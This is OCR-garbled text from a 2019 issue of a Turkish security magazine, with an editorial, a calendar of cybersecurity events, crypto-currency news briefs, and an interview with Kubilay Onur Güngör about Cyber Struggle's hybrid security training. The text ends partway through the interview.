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EDITORDEN

Arka Kap1 Dergi 1. Yaginda!

17 Subat 2018de bagladigimiz seriivenimiz birinci yilini doldurdu.
Bunun i¢in stikrediyor, boyle bir ¢alismayi, goniillii ¢abalarla bir yildir
stirdiirebilmis olmaktan &tiirii memnuniyet duyuyoruz.

[k sayimizdan itibaren higbir bedel gozetmeksizin bize destek veren
tiim yazarlarimiza, her sayimizi mustulu bir haber gibi bekleyen kiy-
metli okurlarimiza tesekkiirii bir borg biliriz.

Elinizde tuttugunuz 6. say1 ilk yili doldurmadan okurlarimiza verdigi-
miz 6 say1 soziiniin sonucudur. Elbette goniillii bir ¢caligmada aksama-
lar, takvimde uyumsuzluklar yasanabiliyor. Boylesi sikintilar1 anbean
okurlarimizla iletisim kanallarimiz {izerinden paylagarak tiim stiregle-
rimizi seffaf hale getirmeye ¢alistik, ¢alistyoruz. 2019'da daha iyi bir yil,
daha istikrarli bir takvim diliyorum.

Yola ¢ikarken hedefimiz {ilkemizdeki hacking kiiltiiriiniin semeresi
olabilecek bir yayin ¢ikartmak idi. Bunu ne derece basardigimiz okur-
larimizin ve elbette gelecekte bugiinleri degerlendirecek olanlarin tak-
diri olacaktir.

Fakat 6mrii hayatinda sadece teknik bilgi aktarmakla yetinmeyip, bil-
ginin tretimi ve dolagimina engel olan dolayli ya da dolayimsiz tiim
yasaklara, engellemelere de kars1 durarak hacking ruhunu elimizden
geldigince yasatmaya gayret ettik, ediyoruz.

Arka Kap1 Dergi, bendeniz de dahil tiim yazar ve yayin kadrosunun bi-
labedel istirak ettigi kolektif caligmanin adi. Derginin tizerindeki fiyat
sadece bir sonraki sayida 6niiniize gelebilmesi icin tilke sartlarinda tak-
dir edilmis en makul fiyat. Dergi sayfalarinda gordiigiiniiz reklamlara
yaklasimimiz da ayni sekilde.

Firmalarin dergimize destek i¢in verdigi reklamlarda gézettigimiz tek
bir amag var, o da dergimizi daha fazla okura ulagtirabilmek. 2019 iti-
bariyle bir tam sayfa reklam bedeli olan 2000 TL + KDV karsiliginda
firmalar yalnizca dergimizde bir tam sayfa reklam yayinlatmamais olu-
yor; ayni zamanda bu bedelin mukabilinde 143 adet dergiyi de tilkenin
gesitli noktalarinda etkinlik diizenleyip bizden dergi talep eden okurla-
rimiza bu firmalar adina ulagtirtyoruz.

Gelecek yil planlarimiz arasinda her sayidan sonra gergeklestirdigimiz
meet-uplart Ankara basta olmak tizere, 6zellikle de dezavantajli illerde
gerceklestirmek var.

Bu hususta davetlere ve desteklere agik oldugumuzu belirtiriz.

*

Dergimizin arka kapaginda vahsi bir saldir1 sonucu katledilen akade-
misyen Ceren Damar’in fotografini ve buna eglik eden Ahmed Arif’in
misralarini okuyacaksiniz. Gorevi basinda ilim gayreti nedeniyle kat-
ledilen Ceren Damar’a Allah’tan rahmet, acili ailesine sabri cemil dili-
yoruz.

90’11 yillara damgasini vurmus TR-Scene dergi editorii Projman’in soz-
leri ile bitirmek isterim: Bilgi giigtiir!

Giig, kalbi adaletle ¢arpan, insanlik ailesinin tiim fertlerinin derdiyle
dertlenen kisilerle olsun!

Gayemiz ve gabamiz budur.
“Bir umudum sende! Anliyor musun?”

Ziyahan Albeniz - editor@arkakapidergi.com
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Cyberio Hackercamp

4-8 Subat 2019 Gazi Universitesi | Ankara

PriviaSecurity destegi ile Gazi Universitesi Siber Giivenlik
Arastirma ve Gelistirme Toplulugu (GaziSiber) tarafindan
gergeklestirilen Hacker Egitim Kampi Etkinligidir.

Bilgi: bit.ly/2Mmp3Lo
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Guvenli Internet Giinii 2019

05 Subat 2019 | Ankara - Eskigehir Yolu 10.Km No:276 Can-
kaya 06530

INSAFE ag1 tarafindan her yil diizenlenen Giivenli Inter-
net Giinii Etkinlikleri bu yil, Bilgi Teknolojileri ve Iletisim
Kurumu'nda gerceklestirilecektir.

Bilgi: http://etkinlik.btk.gov.tr/etkinlik/detay/guvenli_in-

CYBER 42

Proactive Security

9 Subat 2019 - Bahgesehir Universitesi

Egitim, Ibrahim Aslanbakan tarafindan Cyber 42 sponsorlu-
gunda Besiktas'ta gerceklestirilecektir.

Bilgi: https://bit.ly/2Ds]zat

2. SIBER GUVENLIK Ekosisteminin
Gelistirilmesi Zirvesi

14 Subat 2019 - Bilgi Teknolojileri Ve Iletisim Kurumu
Konferans Salonu | Ankara

Mobil aglarda siber giivenlik, yapay zeka, adli biligim, uzay
teknolojilerinde siber giivenlik gibi konular tartigilacaktir. Ay-
rica 12-16 yas grubundan 100 6grenciye sosyal medyay: gii-
venlik olarak kullanmalarina yonelik egitim verilecektir.
Bilgi: https://www.siberguvenlikzirvesi.org.tr/2019/

subat ‘19 Siber Giivenlik & Bilisim Etkinlikleri

etkinlik@arkakapidergi.com ARKA KAPI

AKADEMIK BILISIM

@2019

ORDU UNIVERSITESI

21. AKADEMIK BILiSIM KONFERANSI - AB 2019
13- 15 Subat 2019 - Ordu Universitesi

Bilgi Teknolojileri konusunda ilgili kisileri bir araya getirmeyi
amaglayan bu konferans, konferans dncesi kurslar ve konfe-
rans i¢i egitim seminerleri olarak ayrilmaktadir.

Bilgi: https://ab.org.tr/ab19/

Erciyes Universitesi Kis Kampi

23- 24 Subat 2019 Erciyes Universitesi | Kayseri

Erciyes Universitesi Yapay Zeka, Bilgi Teknolojisi ve Giivenligi
Kultibirniin diizenledigi siber giivenlik kampina siz de davet-
lisiniz.

Bilgi: eruyzbgk.org
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IDC Security Roadshow 2019

28 Subat 2019 - Wyndham Grand Levent Istanbul

05 Mart 2019 - Sheraton Ankara | Ankara| Istanbul

Blok zinciri ve giivenlik, yapay zeka, ¢ok bulutlu ortamda gii-
venlik gibi cesitli konularin konusulacag: etkinlikler konfe-
rans serisi olarak diizenlenecektir.

Bilgi: https://idcitsecurity.com/istanbul/

Bilgi: https://idcitsecurity.com/ankara/

CyberEventDays

09-10 Mart 2019 | Sivas Cumhuriyet Universitesi

Etkinligin ilk giiniinde, farkl siber giivenlik ve bilgi giivenligi
konularinin yer aldig1 sunumlar, ikinci gliniinde Uygulamal
Sunumlar gergeklestirilecektir.

Bilgi: http://cybereventdays.com/ I
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Kripto Para Habherleri

1 Aralik 2018

Son 7 yilin en kotii aylik performansi:

En biiytik kripto para Bitcoin'in Kasim ayinda gosterdigi per-
formans, son 7 yildaki en kot aylik performans olarak kayzt-
lara gegti.

1 Aralik 2018

Satoshi’nin hesabi 4 y1l siiren sessizligini bozdu:

Bitcoin'in gizemli yaraticis1 Satoshi Nakamotonun P2P Foun-
dationdaki hesabi, 2014 yilindan beri ilk defa harekete gecti
ancak hesabin yillar 6nce hack’lendigi 6ne siiriiliiyor.

2 Aralik 2018

Madenciler Cin'den ayriliyor:

CoinShares tarafindan hazirlanan Bitcoin madenciligine ilis-
kin 19 sayfalik son raporda kripto para madencilerinin Cin’i
terk ederek elektrigin daha ucuz oldugu bolgelere gecis yaptig
bildirildi.

2 Aralik 2018

G20’den kripto paralarin vergilendirilmesi i¢in
deklarasyon:

Arjantin’in bagkenti Buenos Aireste devam eden G20 kon-
feransinda uluslararasi bir kripto para vergilendirme sistemi
olusturmak i¢in tilkeler arasinda deklarasyon imzalandu. Siste-
min nihai halinin 2020de ortaya konmas1 hedefleniyor.

3 Aralik 2018

Bitcoin'den Reddit rekoru:

Bitcoin sosyal medya platformu Reddit’te /r/Bitcoin subred-
dit'inin 1 milyon aboneyi agsmasiyla 6nemli bir asamay1 daha
geride birakmuis oldu.

3 Aralik 2018

ABD hiikiimetinin giindeminde Monero ve Zcash var:
ABD I¢ Giivenlik Bakanliginin Monero ve Zcash gibi gizlilik
odakl: kripto paralarla yapilan islemleri izleyebilmenin yolla-
rin1 aragtirdig ortaya ¢ikti.

4 Aralik 2018

Balinalar, Ether’lerini ikiye katladi:

Kripto para balinalari, 2018 Ocak ayindan bu yana devam
eden dusiis sirasinda ellerindeki ETH varliklarint %80 artirds.

20 milyon ETH’ye sahip balinalar, toplam ETH arzinin %2’sini
olusturuyor.

4 Aralik 2018

Sektor devleri Fidelity ile Nasdaq’tan Bitcoin borsasina
yatirim:

Finans sektoriiniin dev oyuncular1 Nasdaq, Fidelity ve diger
birkag sirket kripto para borsasi ErisXe 27.5 milyon dolar ya-
tirim yapti.

6 Aralik 2018

Tiim Tiirkiye Bitcoin’i konustu:

Twitter'm derledigi verilere gore Tiirkiyedeki kullanicilar,
2018 y1li boyunca teknoloji kategorisinde en ¢ok Bitcoin'i ko-
nustular.

10 Aralik 2018

Lightning Network ¢okiise ragmen yiizde 300 biiyiidii:
Bitcoin’in Lightning Network teknolojisi, kripto para piyasa-
sindaki krize aldiris etmeden biiylimeye devam ediyor. Ligh-
tning Network, gectigimiz bir ay boyunca %300 biiytdii.

10 Aralik 2018

Bitcoin devi Bitmain, Israil'de kepenk kapatiyor:
Madencilik devi Bitmain, kripto para piyasasinda diisen fi-
yatlardan otiirii zarar ettigi gerekgesi ile Israildeki gelistirme
merkezini kapatiyor.
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14 Aralik 2018

Akbank’ta Ripple transferi basladi:

Akbank Direkt Bankacilik Genel Midiir Yardimcist Tolga
Ulutas, Ripple ag1 ile Sterlin transferlerine basladiklarini du-
yurdu.

14 Aralik 2018

Turcoin dolandiriciligina 11 bin yil hapis istendi:

On binlerce kisi tizerinden 200 milyon TLlik vurgun yaptigi
one siiriilen Turcoin’in yoneticileri i¢in 11 bin 766%ar yil hapis
cezast istendi.

16 Aralik 2018

Cryptojacking, Tiirkiye'de en biiyiik siber tehdit:

Siber giivenlik arastirma firmasi Kaspersky Labin yaptig:
aragtirmaya gore, kripto para tiretimi i¢in bagkasinin dona-
nimini izinsiz kullanmak anlamina gelen cryptojacking; Orta
Dogu, Tiirkiye ve Afrikada en biiyiik siber tehdit haline gelmis
durumda.

17 Aralik 2018

Bitcoin’in fikir babalarindan biri hayata veda etti:
Bitcoin’in fikir babalarindan biri olan Timothy May, 67 yasin-
da hayatini kaybetti. May, 1992 yilinda kurulan Siberpunklar
grubunun kurucu iiyesiydi.

19 Aralik 2018

Tiirkiye’nin tek Bitcoin ATM’si a¢ildu:

Tiirkiyenin tek Bitcoin ATM’si, Nisantasinda bulunan City’s
Algveris Merkezinde kullanima sunuldu.

21 Aralik 2018

Whatsapp’a kripto para geliyor:

Bloomberg, Facebook'un mesajlasma uygulamasi Whatsapp
i¢in bir kripto para gelistirdigini 6ne siirdii. Kripto paranin
sabit bir degere sahip olacag: belirtildi.

29 Aralik 2018

Samsung’dan kripto para ciizdani i¢in marka basvurusu:
Elektronik iiriinler devi Samsung’un Ingilterede kripto para
ciizdani igin bir ticari marka bagvurusu yaptig1 ortaya ¢ikt1.

Uzmancoin.com ARKA KAPI

31 Aralik 2018

“Bitcoin firsati degerlendirirse 100 kat tirmanabilir”:

Eski Goldman Sachs analisti ve risk sermayedar1 Lou Kerner,
Bitcoin’in birincil deger deposu olma firsatini degerlendirmesi
halinde 100 kat tirmanabilecegini séyledi.

3 Ocak 2019

Tesla’y1, Facebook’u dijital token’larla alip satmak
miimkiin oluyor:

Yeni agilacak bir dijital borsa olan DX Exchange; Tesla, Face-
book ve Apple gibi sirketlerin hisselerinin token olarak alinip
satilmasina olanak taniyacak.

5 Ocak 2019

“Universiteler, kripto paralarin 6nemli yatirimcilari
olacak”:

Danismanlik sirketi deVere Groupun CEO’su Nigel Green,
2019 yilinda prestijli tiniversitelerin 6nemli kripto para yati-
rimcilari haline gelecegini soyledi.

5 Ocak 2019

Bitcoin’in mucidi Cumhurbagkani Erdogan ile ayni listede:
Worth, 2018 icin kiiresel finansin en giiglii 100 ismini agikla-
di. Listede Cumhurbagkan: Recep Tayyip Erdogan ile birlikte
Bitcoin’in yaraticisi Satoshi Nakamoto da yer aldi. Erdogan en
gliclii 63. kisi segilirken Satoshi Nakamotonun siralamas: 44
olarak belirlendi.

5 Ocak 2019

Krypted'den QuarkChain ile ortaklik:

Tiirkiyeden ¢ikan Blockchain tabanli merkezsiz bir egitim
platformu olan Krypted, Cin'in lider Blockchain sirketlerin-
den QuarkChain ile ortaklik kurdu.

7 Ocak 2019

Ledger’den yeni Bitcoin ciizdani: Nano X:

Kripto para donanim ciizdanlar tireticisi Ledger, Ledger Nano
X ile Ledger Nano S’in gelistirilmis bir versiyonunu sunuyor.
Yeni clizdan Bluetooth, daha biiyiik ekran ve daha biiyiik de-
polama alaniyla geliyor.

7 Ocak 2019

Ticaret Bakanrndan Blockchain miijdesi:

Ticaret Bakani Ruhsar Pekcan, ithalat ve ihracatin Blockchain
ile hi¢ olmadig1 kadar hizli gerceklestirilmesi i¢in ¢aligmalara
basladiklarini agikladu.

7 Ocak 2019

Ethereum Classic’e saldirdilar:

Saldirganlar, Ethereum Classic agina saldirarak yaklasik 1.1
milyon dolarlik zarara neden oldular. Saldiriyr kimin ya da

kimlerin gergeklestirdigi bilinmiyor.
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Kubilay Onur Gungor
Soylesi

Merhabalar Kubilay Bey, oncelikle bize biraz kendinizden
bahseder misiniz liitfen?

erhaba. Giivenligin hemen her alani ile ilgilenen
Mbiriyim. Siber gtivenlik haricinde, terdr, psikolojik

harekét, gayri nizami harp, taktik atis, kriminoloji
ana ilgi alanlarim. Yine siber giivenlik ile alakali ¢esitli sertifi-
kalarin yani sira, karsilagtirmali teror, anti-terdr, zor sartlarda
hayatta kalma, alg1 yonetimi, taktik atis vb. alanlarda da ser-
tifikalar alarak kendimi siirekli gelistirmeye caligan biriyim.
Siber giivenlik tarafinda uluslararasi, basimda olan 5 kitaba
katk: sagladim, bir tane de su anda yazim asamasinda, yaz-
mayla arasi iyi olmayan biri olarak bitirebilir miyim emin de-
gilim ama...

Motosiklet, gezi, kampeilik, miizik ve karakalem resim, firsat
bulduk¢a zaman ayirdigim hobilerin basinda geliyor. Cocuk
yasta ayakkabi boyacilig1, Maltepe pazarinda kot pantolon ve
limonata satis1 yapanlara eklenti olmak, bakkalda ¢iraklik gibi
deneyimlerden sonra 6 yil kadar basketbol antrenérliigii yap-
tim. 6 sezonun 5 sezonunda ¢alistirdigim takimlar katildiklar
turnuvalarda ilk 3 siray1 aldilar. Bugiin dahi neden biraktigimi
bilmedigim antrendrliik kariyerinin akabinde, siber giivenli-
gin cesitli alanlarinda, ulusal ve uluslararasi cesitli firmalar-
da deneyim yasadiktan sonra Sechob Savunma Teknolojileri
A.Syi kurdum. Bu sirket altinda Arquanum ve Cyber Struggle
olarak iki farkli marka ile kendi ¢capimda ¢aligmalarima devam
etmekteyim.

MULTIDISCIPLINARY WARRIOR BOOTCAMP

Siber giivenlik camiasinda Kubilay Onur Giingor, deyince
akillara hemen Cyber Struggle geliyor. Siber giivenlikteki
miilti-disipliner yaklasiminizdan ve tabii 6zgiin girisimi-
niz, Cyber Struggle’dan soyle bir bahseder misiniz bize; ne-
reden geldi bu yaklasim, esin kaynaklariniz nelerdir?

Cyber Strugglen (CS) hikayesi olduk¢a uzun aslinda ama
okurlar1 bu bilgilerle bogmak istemem. 2007 yilinda tiniver-
sitede asistan odasinda, aslinda benim kisisel ilgi alanlarimin
-son donemlerin moda deyimi- noktalarin birlesmesi ile ol-
gunlasti. Cyber Struggle fikrinin 6ziinde komple hibrit bir
yetisme ve yetistirme sekli yatmakta. Cocuklugumdan beri
ilgilendigim askeri harekatlar, doktrinler, su¢ ve sugu agik-
layan teoriler, psikolojik harp gibi konularin siber giivenlik
stireci ile birlesmesi en biiyiik esin kaynagimdir. O zamanlar
(2007), NATO siber giivenlik ekibinin bagindaki komutanla
bir yazigmamda, bu fikirlerimden bahsetmis ve NATOnun
da tim giivenlik yaklasiminda bu noktaya evrilmesi gerekti-
gi cevabini almistim. Bir bagka anektod ise, bu evrimin ger-
ceklesmesi icin bu sekilde hibritlesmis insanin olmayisi geri
bildirimiydi. Egitim sisteminden de ¢ok ¢ekmis birisi olarak,
yepyeni bir egitim modeli diisiinmeye basladim. Bu siiregte,
silahli kuvvetlerde 6zel birimlerin yetistirilmesi i¢in kullanilan
yontemlerden, ¢ocuk ve geng gelisimine yonelik arastirmalara
kadar ¢ok genis ¢apli caligmalar yaptim. Nihayetinde kavram-
sal olarak birlesen konular yavas yavas bir egitim metodolojisi
lizerine oturmaya baslad1. Kalbine de Scrum’ koyduk.
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Siber gitivenlik camiasina giren terimlerin neredeyse tamami
askeri, kinetik ve giivenlik kokenine dayaniyor. Aslinda sadece
bu durum bile hibritlesme konusunun ne kadar kritik oldu-
gunu anlamak i¢in yeterli. Teror bilmeden siber terdr, savas
dinamiklerini, doktrinlerini bilmeden siber savas teriminin
gercekten ne dlciide dogru kullanildigini anlamak imkansiz.
Biz aslinda CS biinyesinde, gittikee i¢ ice gecen kinetik ve si-
ber diinyanin 6zel ihtisash giivenlik uzmanlarini yetistirmeye
calisiyoruz. Teknik becerileri hibritlesen ve olabildigince de-
rinlesen, ekip ve takim kavramlarinin ne kadar énemli oldu-
gunu bilen, mental toleransi yiiksek, her tiirlii baski ve bilin-
mezlik durumuna mukavemet gelistirmis, biligsel yetenekleri
gliclenmis, liderlik valfleri agilmus, gorev odakly, bityiik resmi
gorebilen, detaylara miidahale edebilen ve mikro makro goriis
gecisini hizl ve efektif yapabilen, asla yilmayan, ytiksek moti-
vasyonu istikrarli bir sekilde koruyabilen, tiretken ve iyi niyetli
bir tavra sahip, bir nevi siber diinyanin sat komandolarini ye-
tistirmek ve kendimiz de boyle bir tiretkenlik icerisinde olabil-
mek i¢in ¢alisiyoruz. Ekibimizde katki saglayan siber giivenlik
uzmanlarina ek olarak, sat komandolari, kriminal psikologlar,
terdr uzmanlar1 bulunmakta.

Cyber Struggle aslinda global bir sertifika otoritesi olma yo-
lunda. Su anda en aktif sertifikasi, mezunlarin sektorde agir-
ligin1 hissettirmeye basladigi, global olarak da her gegen giin
taninmaya baglayan Ranger Sertifikasi. Bunun haricinde,
CSTPO (Cyber Struggle Tactical Pistol Operator), CS-EXP
sertifikalar1 mevcut. CS-EXP sertifikasi i¢in ayrica heyecanli-
yiz. Bireysel olarak katilimin oldugu 3-4 giin hibrit bir giiven-
lik uzmanin yasayacag: gercek hayat senaryolari ile dolu bir
sertifikasyon. Hem sokaktasiniz, hem bilgisayar baginda; hem

arazidesiniz, hem bir yerde saklanirken buluyorsunuz kendi-
nizi. The Game filmi merak edenler i¢in en iyi ipucu olacaktir.
Bunlarin haricinde iki yeni sertifika daha duyuracagiz. Alpha
ve Aegis. Alpha daha ¢ok istihbarat odakli bir hibrit sertifikas-
yon olacak. Aegis icin simdilik bir sey séylemeyeyim siirpriz
olsun.

Peki mezunlariniz neler yapiyor, egitimlerinizin uluslara-
ras1 bir gegerliligi var midir?

Mezunlarimizi yakindan takip ediyoruz. Bu kadar sira disi
bir egitim metodolojisinin ilk kez diinyada deneniyor olusu,
egitim sistemimizin siirekli gelisim ihtiyacinin haricinde, etki
diizeyinin kontroli i¢in de, mezun takibi olduk¢a 6nemli.
Neredeyse %98 oraninda pozitif feedback aliyoruz. Yalniz-
ca mezunlarimizdan degil, onlarin ¢alistig1 kurumlardan da.
Hatta sektorde 6nemli danismanlik firmalarindan, ashin-
da sahaya ¢ikmaya en hazir insanlarin CS biinyesinden
ciktigina yonelik giiclii geri bildirimlerimiz de var. Bu da
¢ok normal ciinkii bagka hi¢bir egitim kurumunun ya da
sertifikasyonun ilgilenmedigi alanlara da dokunuyoruz
kursiyerlerimizde. Tiim bu toplam tecriibe, kisinin sertifika
sonrast gelisimine de normalden daha farkli diizeyde katk:
sagliyor. Mezuniyetinden 1 yil sonra, -egitimi baska bir gozle
su an daha farkly anliyorum ¢iinkii ekip yonetmeye basladim-
diyen mezunlarimiz var. Toplam tecriibeden kastim bu. Bazi
kazanimlarin zamanla farkina variliyor. Bazi kazanimlar ise
hemen fark ediliyor.

Uluslararasi gegerlilik konusu aslinda bilinirlik ile ilgili bir du-
rum. Bilinirlik ise biitge ile ilgili bir durum. Ancak bu anlamda
da kisith biitgeyle epey yol aldigimizi diisiiniiyorum. Malezya
Genel Kurmay Bagkanligi, Malezya Istihbarati, Disisleri Ba-
kanlig1 egitim verdigimiz kurumlar arasinda. Ek olarak Kana-
da, Hollanda, Kore ve Katar gibi iilkelerle gerek egitim gerekse
partnerlik konusunda sicak giindemimiz var. Tabii belirttigim
gibi, tiim bu taleplere ya da olasiliklara karsilik verebilmek bir
biitce meselesi egitimin yeterliliginden ¢ok.

Biitlin bunlar bir yana, hep soyledigimiz bir sey var -bir seyin
degeri ona verilen emektir ve egitim davramg/aliskanlik degis-
tirebilmelidir. Bunu basaramayan hicbir sistem dogru egitim
modeli olamaz.- Bu noktada finansal olarak giiglendikge, me-
zunlarimiz kaliteli isler yapmaya devam ettikge, uluslararas
bilinirlik de hizlanarak devam edecektir. Biz de bu denli kit-
lesel bir talep olma durumuna hazirlanmaya calisiyoruz agik-
¢asl. Su an i¢in boyle bir talebi karsilamamiz miimkiin degil.

O zaman bir adim daha geri gidelim: Siber giivenligi nasil
tanimlarsiniz, siber giivenlik nerede baslar, nerede biter ya
da biter mi acaba?

Siber giivenlik gercekten ¢ok disiplinli ve ¢ok genis bir pen-




cereden bakilmasi gereken bir konu. Ileride de logaritmik
bir sekilde bu ihtiya¢ artacak. Rus ugag diisiiriildiigiinde,
daha onceden Rus saldirilarinin profilini ¢ikardiysaniz,
bunun bankalar1 etkileyecek bir seye doniisecegini 6n go-
riip, aninda yine daha 6nceden hazirladiginiz DefCon se-
viyelerine gore genel bir alarm iiretiyorsaniz, daha saldir:
yokken uluslararasi iliskiler cercevesinde yan etkileri he-
saplamaya basladiysaniz bu giizel bir sey. Bu ¢ok disiplinli
basit bir korelasyon yaklasimi. Bu ve benzeri korelasyonlar:
kuramayip sadece ¢ok iyi iiriin bilgisi olan insanlarin devri
yavas yavas kapanacak. Kapaniyor. Biraz daha gercek haya-
timizdaki gibi bir gtivenlik algisinin oturtulmasi 6nemli. Her
seyden Once siber giivenligi bu cergeveden yeniden ele alarak
baslamak gerekli diye diistiniiyorum. Bu nedenle FireEye eski
komandolar arasinda ise alim yapmaya ¢alistyor olsa gerek!
Genelde yurtdist1 makbul oldugundan iilkemizde, yurtdi-
sindan ornekle giiclendireyim. Biz sdyleyince olmuyor.

Nerede biter? Hicbir yerde, hi¢bir zaman! Ozellikle tiim ha-
yatimizin hatta gelecekte organlarimiza kadar her seyimizin
dijitallestigi diinyada bitmeyi birakin, yukarida anlatmaya ¢a-
listigim yaklasim ¢ok daha kritiklesecek. Kaginilmaz!

Bildiginiz iizere 2015 yilinda NATO, siber giivenligi resmi
savag alanlarina (kara, hava, deniz ve siber diinya) dahil et-
misti. Bu olay1 takiben yaklagik bir yil sonra da TSK ayni
giincellemeyi gerceklestirmisti. Sizin girisiminiz de hemen
hemen bu yaklasimlarla 6zdeslesiyor. Bu adimlar ne anla-
ma geliyor ve iilkeleri bu konuda nasil degerlendirirsiniz?

Bahsettiginiz gelismeler aslinda bahsettigim yaklasima ku-
rumsal bir gidis ¢abasini gosteriyor. Tabii bizim kadar hizl
olmalarini beklemek haksizlik olur. Devasa kurumlar, devasa
kiltiir ve geleneklerde hizli manevra ve adaptasyon zordur.
FireEye 6rnegini verdim. Israil Unit 8200 ders programlarini
incelerseniz CSe olduk¢a yakin oldugunu géreceksiniz. Silahli
kuvvetler biinyesinde birimlerin kurulmasi bunlarin kimi l-
kelerde tiimen seviyesine ¢ikarilmas, strateji belgeleri tiretimi
gibi gelismeler aslinda hep bu gegisin gostergesi. [lk adaptas-
yon ve zorluklar atlatildik¢a, bu genis gerceveden ele alma du-
rumunun ne kadar hizla ilerleyecegine yakin gelecekte tanik
olacagimizi diistintiyorum. Ulkemizde de BTK, USOM, TSK,
MIT, Emniyet biinyesinde eskisinden ¢ok daha fazla énem ka-
zand1. Bu sevindirici. Hatta 6nem haricinde daha organize ve
kurumsal ¢alismalar var. Daha da artacagini diistinityorum.

--- Unit 8200 - Israeli Intelligence Corps: sinyal istihbarati top-
lamaktan (SIGINT) ve kod ¢ozmeden sorumlu Israil Istihbarat
Kolordu birimidir. Askeri istihbarat miidiirliigii Amana baglhdar.

Ayrica bkz: Zero Days Belgeseli. ----
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Sizce bu konudaki en biiyiik tehlike nedir?

Bu ¢ok giizel bir soru ve ¢ok genis ele alinmasi gerekir. Siber
gtivenlikte toplam kalite ¢ok 6nemli. Bireysel farkindaliktan
tutun, kurumsal gelismislige ve nihayetinde ulusal giivenlige
uzanan bir yol. Ulusal giivenlik boyutu asikdr. Bunu bir kenara
birakirsak, 6zel sektorde belirli aliskanliklarin ve esnaf kiiltii-
riiniin degismesi gerekli. Danigmanlik firmalarinin, miisteri
farkindaligini ve know-how’in gelistirmesi zaruri.

Miisteri ne kadar az bilirse o kadar satariz kafasindan bir an
once ¢ikilmali. Danigan taraf ne kadar gelisirse, danisman o
kadar gelisecek. Beklenti ona gore sekillenecek, bu da parada
degil kalitede rekabeti getirecektir. Tiim bu siire¢ ashinda kamu
tarafina da yansiyacak ve ulusal giivenlige de katma deger ya-
ratacaktir. Bu da beraberinde toplam kaliteyi getirecektir.

Ulkemizdeki en biiyiik tehlikenin, is yapma kiiltiiriiniin geri
kalmislig1 oldugunu diisiiniiyorum. Uriin secerken, iiriin sag-
layicinin etkinliklerini, tatil firsatlarini vs. diistintiyorsaniz bii-
yik tehlike var demektir. Servis alirken {iriin yaninda bedava
olup olmadigina bakiyorsaniz tehlike var demektir. Danisman
olarak, bu yaklasimu siirekli besliyorsaniz tehlike var demektir.
Bunlar tabii basit 6rnekler. Sektor bundan ¢ok daha karmagik
is yapma metotlari ile dolu maalesef. Burada amacim birilerini
rencide etmek degil, gelecekte bu kadar 6nemli olacak bir ko-
nunun iilkemizde daha dogru bir gelenege sahip olmasi gerek-
liligine realist bir vurgu yapmak. Hepimizin bu konuda daha
duyarl: ve iyi niyetli olmasi gerekir. Rekabeti paradan kaliteye
devsirerek baglayabiliriz bu siirece.
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Siber giivenligin diinii, bugiinii ve yarini icin neler soyle-
mek istersiniz?

Kisa. Diin bilisim giivenligiydi. Bugiin siber gtivenlik. Yarin
ise siber miicadele!

Bireysel - toplumsal giivenligimiz i¢in ne diisiiniiyorsunuz?
Ote yandan kurumlara, s6zlesmelere ne kadar giivenebili-
riz ya da giivenmeli miyiz?

Kurumlar ve sozlesmeler énemli. Yukarida bahsettigim gegis,
toplu bir niyet gecisi ile de baslayabilir, kurum ve sozlesme/re-

giilasyon ile de saglanabilir. Hizl gelenek oturtacak olani elbette
samimiyetle gecis. Sozlesmeler bunu atesleyebilir daha da hiz-
landirabilir. Ama bu gegis olmadig siirece regiilasyonlar sadece
en ucuza uyulmas: gereken kurallar olarak kalacak ve gercek
etkisini cogunlukla yaratmayacaktir diye diisiintiyorum.

Siber giivenlik farkindaligina ne kadar sahibiz, dersiniz?
Bu farkindaligi arttirmak i¢in topluluklar, kurumlar hatta
devletler tarafindan neler yapilmalidir?

Bu da olduk¢a 6nemsedigim bir soru. Farkindalik aslinda bir du-
rum karsisinda olur. Siz ona reaksiyon gosterirsiniz. Yani aslhinda
tilkemizde yapilan organizasyonlar, egitimler, sunumlar vb. gibi
seyler felsefi bir gergeve tagimamakta. Ya da tasiyanlari oldukga
az. Bir durumsal farkindalik katmaktan ziyade bir konuyu 6gret-
mek, egitim ve sunum yapan i¢in repiitasyon kasmak gergevesin-
de ilerliyor. Elbette bu ¢aligmalar da farkindalik konusunda fayda
saglayici seyler ama odagi farkindalik degil. Bir seyin belirli 6l¢ii-
de tekrarlanmasi ile insanlarin kafasma bu konu 6nemli sanirim
dedirtmenin 6tesine gectigini diigiinmityorum.

Eger farkindalik duruma kars1 oluyorsa, o zaman olay1 genis
capta ele alacak, farkli goriisleri icerecek, felsefi background’u
olacak, kisileri konu hakkinda yine genis perspektifte diisiin-
meye itecek vizyoner ve sistematik, birbirini tamamlayan bir
gelenek oturtulmali diye diisiinityorum. Devletler egitim me-
todolojilerini ona gore bicimlendirebilir, uzmanlar repiitasyon
kaygilarini biraz daha geri plana atarak insan odakli hareket
edebilir. Buna uygun organizasyonlar diizenlenebilir. Bunun
yant sira biz de hi¢ olmayan is birligi kiiltiirti olduk¢a 6nemli.
X firma yapms ben de yapayim degil de X kurum yapmis nasil
daha iyiye gotiirebilirim noktasinda bir bakis acis1 destekleyici
olacaktir. Arka Kapi gibi dergilerin, medyanin da rolii 6nemli.

Simdi de sirada biraz teknik bir soru var: Bugiine kadar en
etkili gordiigiiniiz siber giivenlik saldir1 hangisi idi? :)

Bu soru benim i¢in cevaplanmasi zor bir soru. Bana yapilan
saldir1 en etkilisidir herhalde. :) Saka bir yana Stuxnet’in tek-
nik etkisi bir tarafa, bakis acisinin doniigiimii agisindan olduk-
¢a itekleyici bir etkiye sahip oldugunu diigiinityorum.

Peki 2019 yilinda hangi kategori daha ¢ok ses getirir dersi-
niz, 6rnegin: IoT, yapay zeka ya da mobil giivenlik?

Kategorilere karsiyim toplam tecriibe ana ilgi alanim. Yapay
zeka, IoT ve siber givenlik Ugliisiinlin yasatacag: tecriibe
yeterince tirkiitiicd. :)

Yaklagik bir buguk yil 6nce Facebook, kendi aralarinda ga-
rip bir dilde iletisim kurdugunu tespit ettigi iki yapay ze-
kanin fisini ¢ekmisti. Neredeyse ayn1 donemlerde Suudi
Arabistan da Sophia adindaki robota vatandashik verdigini
duyurdu. Biz daha bu haberlerin etkisini iizerimizden ata-
madan benzer bir haberi Japonya'dan aldik. MIT (Massac-
husetts Institute of Technology) yapay zeka iiniversitesini
kuruyor... Neler oluyor boyle? Bu konudaki fikirleriniz ne-
lerdir?

Yukarida ne kadar dirkiitiicii oldugundan bahsettim. Yapay
zeka iniversitesine ek olarak mesela ABDde yalnizca siber
glivenlik iizerine iiniversite kurmak isteyen birisi ile goris-
miistilk. Bu konuda biligsel bilimleri iizerinden genis ¢apl




